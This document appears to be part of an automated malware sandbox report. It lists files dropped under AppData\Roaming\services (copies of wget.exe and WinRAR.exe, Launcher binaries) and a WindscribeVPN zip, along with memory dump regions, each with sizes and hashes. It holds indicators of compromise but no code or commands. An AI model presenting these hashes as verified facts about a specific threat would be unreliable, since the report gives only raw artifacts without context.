8bd26de4f9b8e7b6fe9c42f44b548121d033f27272f1da4c340f81aa5642adc17bb9b092ece12bb8515460b9c432bf3b3b7b70f87d4beb6c491d3d0dfb5b71fe

Download Submit
C:\Users\Admin\AppData\Roaming\services\WGET-H~1

Filesize
184B

MD5
c892a80023e152d432dec8ca4e996879

SHA1
80ce022d7860f009f56c1f5d4281ef6a107382a0

SHA256
74153a36df44fc7bb447ac3a3dffbdc2a9c33dbf71b48f89bd7d1cfc41b29437

SHA512
c619d7fe5d9bf300bb4622d77a21128e83094fe1a763d2bba5efd4cba4384534021a5a1c9d1aa3028d780ec98057b7db33683399d8c25b34ad782454888e3477

Download Submit
C:\Users\Admin\AppData\Roaming\services\WinRAR.exe

Filesize
1.9MB

MD5
034bc3c963f71afae388da0a92ca101a

SHA1
69c130b01992f9a4a59a7b12a48c2063c4a8c767

SHA256
98a4b07f17452658d1ca2e6ffe6087b639bc24a1feeb5a19ca2c9fd0e9c13055

SHA512
34d3670d11d832a62f30672e64895042e2297668ebaaf087a16581823e5eb29baeefe3b8d501fe9810b2f2c40e06ca7f1b2e4929302d6d24cb95573b35601117

Download Submit
C:\Users\Admin\AppData\Roaming\services\data\Launcher.dll

Filesize
6KB

MD5
f58866e5a48d89c883f3932c279004db

SHA1
e72182e9ee4738577b01359f5acbfbbe8daa2b7f

SHA256
d6f3e13dfff0a116190504efbfcbcd68f5d2183e6f89fd4c860360fba0ec8c12

SHA512
7e76555e62281d355c2346177f60bfe2dc433145037a34cfc2f5848509401768b4db3a9fd2f6e1a1d69c5341db6a0b956abf4d975f28ee4262f1443b192fe177

Download Submit
C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe

Filesize
364KB

MD5
93fde4e38a84c83af842f73b176ab8dc

SHA1
e8c55cc160a0a94e404f544b22e38511b9d71da8

SHA256
fb07af2aead3bdf360f555fc872191e43c2f0acbfc9258435f9a30afe272ba03

SHA512
48720aebe2158b8a58fc3431c2e6f68271fbade51303ad9cb5b0493efaec6053ff0c19a898841ef7c57a3c4d042ac8e7157fb3dc79593c1dfcdcf88e1469fdec

Download Submit
C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe.manifest

Filesize
1KB

MD5
1b6de83d3f1ccabf195a98a2972c366a

SHA1
09f03658306c4078b75fa648d763df9cddd62f23

SHA256
e20486518d09caf6778ed0d60aab51bb3c8b1a498fd4ede3c238ee1823676724

SHA512
e171a7f2431cfe0d3dfbd73e6ea0fc9bd3e5efefc1fbdeff517f74b9d78679913c4a60c57dde75e4a605c288bc2b87b9bb54b0532e67758dfb4a2ac8aea440ce

Download Submit
C:\Users\Admin\AppData\Roaming\services\plugin0324

Filesize
470KB

MD5
28e058627e22fd6d5bcccda4145431a8

SHA1
d5099f8245127afa7b572cd1a32d397692dc4d8f

SHA256
3f4c2253d36398bf23693d76f2d216fea7e7267167b011d14523b6109e96b580

SHA512
de65e4114c84b42d0cdae4b4094644c4dbeb6c4abcb8e92ca99a040a6397b5759be6d5915efab1d8fb3fd633bdc814253b522dc4e8ec9e00f318b699d15610f0

Download Submit
C:\Users\Admin\AppData\Roaming\services\wget.exe

Filesize
2.9MB

MD5
fb4161a2e32f19a7c167eb40d7470e5a

SHA1
738a5a673e52ec55c2aa05c8ce9910965051e32f

SHA256
d810ac7eadf4228433951fe778021247f23e37d86777127301e49edc40fa98d5

SHA512
ef5eb96029079a09f4638e97d3a8abe4092454ac2989756c9471a2cd81d276a42592c06c0567340c02f0250cf80a1c1a7f0ca5a65c83140d1e762bc7c0c1a5b6

Download Submit
C:\Users\Admin\AppData\Roaming\services\wget.exe

Filesize
2.9MB

MD5
8e09c48d62c643f17160af4925f56cf3

SHA1
c0dc6f6eccb5dc3ea60bf769b7476e03b3c6ea5f

SHA256
02a03f5df85dcc1fe0a150273d526a4277caad7f4939ce35912952f7c2b6beb1

SHA512
edb9246ded0778e721e4483aceb211ed57cf87b33b2c088ba4f67976b13667136c7435306db0138d05a7321999eec6041288e47bd67673861217098b18c1d9a0

Download Submit
C:\Users\Admin\AppData\Roaming\services\wget.exe

Filesize
2.2MB

MD5
e6da3df1df7f7552d29473cb3cd56c0a

SHA1
335a885604c38084fd4df56ba5bca92db0508c24

SHA256
7d0eae791e1d440fc2cc30c526b987163ced91f630f0b7580f906a2aceb1217f

SHA512
5b8d5eaf771ef809cadb20a24fad7bd2c7456fcbc8089a6e55f99fa4dfb28483532193231a482e5fec4e98c26cf97bb692da8f14d3ff2e76c69d99f50871aacb

Download Submit
C:\Users\Admin\AppData\Roaming\services\wget.exe

Filesize
1.1MB

MD5
90fd054e80ec76df32efbf0d0d667c95

SHA1
394ba478d810750d009769ece796e79e0038b32e

SHA256
ce588dde9bb28ffcb819d6402f021434a383e7fcce5910621de81e72cce6452c

SHA512
9bd33835f7e0e608a3edf27f6cec449d080d771f15e67ada1db241185a42e7ffe9b6d12f4785a71a56822f27ab072c15ecf851b059c5e1dc1cb045a7814fd36c

Download Submit
C:\Users\Admin\AppData\Roaming\services\winrar.exe

Filesize
2.1MB

MD5
f59f4f7bea12dd7c8d44f0a717c21c8e

SHA1
17629ccb3bd555b72a4432876145707613100b3e

SHA256
f150b01c1cbc540c880dc00d812bcca1a8abe1166233227d621408f3e75b57d4

SHA512
44811f9a5f2917ccd56a7f894157fa305b749ca04903eeaeca493864742e459e0ce640c01c804c266283ce8c3e147c8e6b6cfd6c5cb717e2a374e92c32a63b2c

Download Submit
C:\Users\Admin\Downloads\WindscribeVPN-10_11.zip

Filesize
21.3MB

MD5
30c56ab732b2defe43403d051f98210f

SHA1
01a37f6fa52922dfd3ab017862ca1b9ca10127ac

SHA256
baaef9c34a34e810067c7c0341a84414dabcacab25fe3bfe46b604a6b9bfaa32

SHA512
985ed078d3ec732ae029c46669ae9f47402e94aa8a0cdfaece81e1da0f5f27abe83940f884acdbc5de43f226c7465b31a0fa9ccfeaa1c2e18ae5061da201f7cf

Download Submit
\??\pipe\LOCAL\crashpad_2292_NKYIPLYLPZLVONBV

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/1012-459-0x00007FF9D8230000-0x00007FF9D8232000-memory.dmp

Filesize
8KB

Download
memory/1012-460-0x00007FF9D8240000-0x00007FF9D8242000-memory.dmp

Filesize
8KB

Download
memory/1812-256-0x0000000000400000-0x00000000008F2000-memory.dmp

Filesize
4.9MB

Download
memory/2852-335-0x0000000000400000-0x00000000008F2000-memory.dmp

Filesize
4.9MB

Download
memory/3100-365-0x00007FF780560000-0x00007FF7823CA000-memory.dmp

Filesize
30.4MB

Download
memory/3100-328-0x00007FF9D8230000-0x00007FF9D8232000-memory.dmp

Filesize
8KB

Download
memory/3100-329-0x00007FF9D8240000-0x00007FF9D8242000-memory.dmp

Filesize
8KB

Download
memory/3100-330-0x00007FF780560000-0x00007FF7823CA000-memory.dmp

Filesize
30.4MB

Download
memory/3100-327-0x00007FF780560000-0x00007FF7823CA000-memory.dmp

Filesize
30.4MB

Download
memory/3356-250-0x0000000073160000-0x0000000073910000-memory.dmp

Filesize
7.7MB

Download
memory/3356-240-0x0000000004C50000-0x0000000004C60000-memory.dmp

Filesize
64KB

Download
memory/3356-226-0x00000000073B0000-0x00000000073E2000-memory.dmp

Filesize
200KB

Download
memory/3356-214-0x0000000004C50000-0x0000000004C60000-memory.dmp

Filesize
64KB

Download
memory/3356-237-0x00000000073F0000-0x000000000740E000-memory.dmp

Filesize
120KB

Download
memory/3356-220-0x0000000004C50000-0x0000000004C60000-memory.dmp

Filesize
64KB

Download
memory/3356-239-0x0000000007410000-0x00000000074B3000-memory.dmp

Filesize
652KB

Download
memory/3356-238-0x0000000004C50000-0x0000000004C60000-memory.dmp

Filesize
64KB

Download
memory/3356-213-0x0000000073160000-0x0000000073910000-memory.dmp

Filesize
7.7MB

Download
memory/3356-225-0x000000007F590000-0x000000007F5A0000-memory.dmp

Filesize
64KB

Download
memory/3356-227-0x000000006FAA0000-0x000000006FAEC000-memory.dmp

Filesize
304KB

Download
memory/3356-247-0x00000000077D0000-0x00000000077D8000-memory.dmp

Filesize
32KB

Download
memory/3356-246-0x00000000077E0000-0x00000000077FA000-memory.dmp

Filesize
104KB

Download
memory/3356-245-0x00000000077A0000-0x00000000077B4000-memory.dmp

Filesize
80KB

Download
memory/3356-244-0x0000000007790000-0x000000000779E000-memory.dmp

Filesize
56KB

Download
memory/3356-243-0x0000000007760000-0x0000000007771000-memory.dmp

Filesize
68KB

Download
memory/3356-242-0x00000000075D0000-0x00000000075DA000-memory.dmp

Filesize
40KB

Download
memory/3356-241-0x0000000007BA0000-0x000000000821A000-memory.dmp

Filesize
6.5MB

Download
memory/3872-441-0x0000000003C60000-0x0000000003D5C000-memory.dmp

Filesize
1008KB

Download
memory/3872-378-0x0000000010000000-0x000000001030E000-memory.dmp

Filesize
3.1MB

Download
memory/3872-380-0x00000000006E0000-0x00000000006E6000-memory.dmp

Filesize
24KB

Download
memory/3872-381-0x0000000002420000-0x0000000002546000-memory.dmp

Filesize
1.1MB

Download
memory/3872-382-0x0000000002550000-0x0000000002659000-memory.dmp

Filesize
1.0MB

Download
memory/3872-383-0x0000000002550000-0x0000000002659000-memory.dmp

Filesize
1.0MB

Download
memory/3872-385-0x0000000002550000-0x0000000002659000-memory.dmp

Filesize
1.0MB

Download
memory/3872-415-0x0000000002660000-0x0000000003B50000-memory.dmp

Filesize
20.9MB

Download
memory/3872-414-0x0000000002550000-0x0000000002659000-memory.dmp

Filesize
1.0MB

Download
memory/3872-417-0x0000000003B50000-0x0000000003C4D000-memory.dmp

Filesize
1012KB

Download
memory/3872-429-0x0000000010000000-0x000000001030E000-memory.dmp

Filesize
3.1MB

Download
memory/3872-437-0x0000000003C60000-0x0000000003D5C000-memory.dmp

Filesize
1008KB

Download
memory/3872-445-0x000000007FDE0000-0x000000007FE31000-memory.dmp

Filesize
324KB

Download
memory/3872-443-0x0000000000420000-0x0000000000431000-memory.dmp

Filesize
68KB

Download
memory/4164-400-0x0000000000400000-0x0000000000B17000-memory.dmp

Filesize
7.1MB

Download
memory/4164-362-0x0000000000CB0000-0x0000000000DB0000-memory.dmp

Filesize
1024KB

Download
memory/4164-363-0x0000000000400000-0x0000000000B17000-memory.dmp

Filesize
7.1MB

Download
memory/4868-311-0x0000000000400000-0x00000000008F2000-memory.dmp

Filesize
4.9MB

Download
memory/4868-310-0x0000000000400000-0x00000000008F2000-memory.dmp

Filesize
4.9MB

Download
memory/4868-309-0x0000000000400000-0x00000000008F2000-memory.dmp

Filesize
4.9MB

Download
memory/4868-314-0x0000000000400000-0x00000000008F2000-memory.dmp

Filesize
4.9MB

Download
memory/4964-186-0x0000000073160000-0x0000000073910000-memory.dmp

Filesize
7.7MB

Download
memory/4964-204-0x0000000006690000-0x00000000066DC000-memory.dmp

Filesize
304KB

Download
memory/4964-185-0x00000000050C0000-0x00000000050F6000-memory.dmp

Filesize
216KB

Download
memory/4964-187-0x0000000005130000-0x0000000005140000-memory.dmp

Filesize
64KB

Download
memory/4964-188-0x0000000005130000-0x0000000005140000-memory.dmp

Filesize
64KB

Download
memory/4964-189-0x0000000005770000-0x0000000005D98000-memory.dmp

Filesize
6.2MB

Download
memory/4964-190-0x0000000005EB0000-0x0000000005ED2000-memory.dmp

Filesize
136KB

Download
memory/4964-191-0x0000000005F80000-0x0000000005FE6000-memory.dmp

Filesize
408KB

Download
memory/4964-192-0x0000000005FF0000-0x0000000006056000-memory.dmp

Filesize
408KB

Download
memory/4964-202-0x00000000061A0000-0x00000000064F4000-memory.dmp

Filesize
3.3MB

Download
memory/4964-207-0x0000000006BC0000-0x0000000006BE2000-memory.dmp

Filesize
136KB

Download
memory/4964-206-0x0000000006B70000-0x0000000006B8A000-memory.dmp

Filesize
104KB

Download
memory/4964-205-0x0000000007810000-0x00000000078A6000-memory.dmp

Filesize
600KB

Download
memory/4964-203-0x0000000006640000-0x000000000665E000-memory.dmp

Filesize
120KB

Download
memory/4964-208-0x0000000007EB0000-0x0000000008454000-memory.dmp

Filesize
5.6MB

Download
memory/4964-277-0x0000000073160000-0x0000000073910000-memory.dmp

Filesize
7.7MB

Download
memory/4964-289-0x0000000005130000-0x0000000005140000-memory.dmp

Filesize
64KB

Download
memory/4964-285-0x0000000005130000-0x0000000005140000-memory.dmp

Filesize
64KB

Download
memory/5280-511-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5280-507-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5280-304-0x0000000002D00000-0x0000000003100000-memory.dmp

Filesize
4.0MB

Download
memory/5280-301-0x0000000002D00000-0x0000000003100000-memory.dmp

Filesize
4.0MB

Download
memory/5280-505-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5280-512-0x000001B5A6840000-0x000001B5A6860000-memory.dmp

Filesize
128KB

Download
memory/5280-513-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5280-299-0x00007FF9D8030000-0x00007FF9D8225000-memory.dmp

Filesize
2.0MB

Download
memory/5280-508-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5280-510-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5280-302-0x0000000075B50000-0x0000000075D65000-memory.dmp

Filesize
2.1MB

Download
memory/5280-295-0x0000000001080000-0x0000000001089000-memory.dmp

Filesize
36KB

Download
memory/5280-298-0x0000000002D00000-0x0000000003100000-memory.dmp

Filesize
4.0MB

Download
memory/5280-297-0x0000000002D00000-0x0000000003100000-memory.dmp

Filesize
4.0MB

Download
memory/5280-514-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5280-506-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5280-504-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5352-402-0x00000212FC7D0000-0x00000212FC7E0000-memory.dmp

Filesize
64KB

Download
memory/5352-431-0x00000212FC7D0000-0x00000212FC7E0000-memory.dmp

Filesize
64KB

Download
memory/5352-401-0x00007FF9B3BC0000-0x00007FF9B4681000-memory.dmp

Filesize
10.8MB

Download
memory/5352-432-0x00000212E4270000-0x00000212E427A000-memory.dmp

Filesize
40KB

Download
memory/5352-433-0x00000212E4280000-0x00000212E4288000-memory.dmp

Filesize
32KB

Download
memory/5352-434-0x00000212FC770000-0x00000212FC77A000-memory.dmp

Filesize
40KB

Download
memory/5352-438-0x00007FF9B3BC0000-0x00007FF9B4681000-memory.dmp

Filesize
10.8MB

Download
memory/5352-430-0x00007FF4C52B0000-0x00007FF4C52C0000-memory.dmp

Filesize
64KB

Download
memory/5352-428-0x00000212FC750000-0x00000212FC76C000-memory.dmp

Filesize
112KB

Download
memory/5352-413-0x00000212FC6E0000-0x00000212FC702000-memory.dmp

Filesize
136KB

Download
memory/5352-403-0x00000212FC7D0000-0x00000212FC7E0000-memory.dmp

Filesize
64KB

Download
memory/5940-346-0x0000000000400000-0x0000000000B17000-memory.dmp

Filesize
7.1MB

Download
memory/5940-345-0x0000000000DC0000-0x0000000000E2C000-memory.dmp

Filesize
432KB

Download
memory/5940-344-0x0000000000CC0000-0x0000000000DC0000-memory.dmp

Filesize
1024KB

Download
memory/5940-364-0x0000000000400000-0x0000000000B17000-memory.dmp

Filesize
7.1MB

Download
memory/5964-290-0x00000000039D0000-0x0000000003DD0000-memory.dmp

Filesize
4.0MB

Download
memory/5964-283-0x0000000002760000-0x00000000027BA000-memory.dmp

Filesize
360KB

Download
memory/5964-303-0x0000000000400000-0x0000000000B1E000-memory.dmp

Filesize
7.1MB

Download
memory/5964-293-0x00000000039D0000-0x0000000003DD0000-memory.dmp

Filesize
4.0MB

Download
memory/5964-291-0x00007FF9D8030000-0x00007FF9D8225000-memory.dmp

Filesize
2.0MB

Download
memory/5964-288-0x00000000039D0000-0x0000000003DD0000-memory.dmp

Filesize
4.0MB

Download
memory/5964-286-0x0000000000400000-0x0000000000B1E000-memory.dmp

Filesize
7.1MB

Download
memory/5964-305-0x00000000039D0000-0x0000000003DD0000-memory.dmp

Filesize
4.0MB

Download
memory/5964-294-0x0000000075B50000-0x0000000075D65000-memory.dmp

Filesize
2.1MB

Download
memory/5964-282-0x0000000000B30000-0x0000000000C30000-memory.dmp

Filesize
1024KB

Download
memory/6040-498-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/6040-503-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/6040-499-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/6040-496-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/6040-497-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/6040-500-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download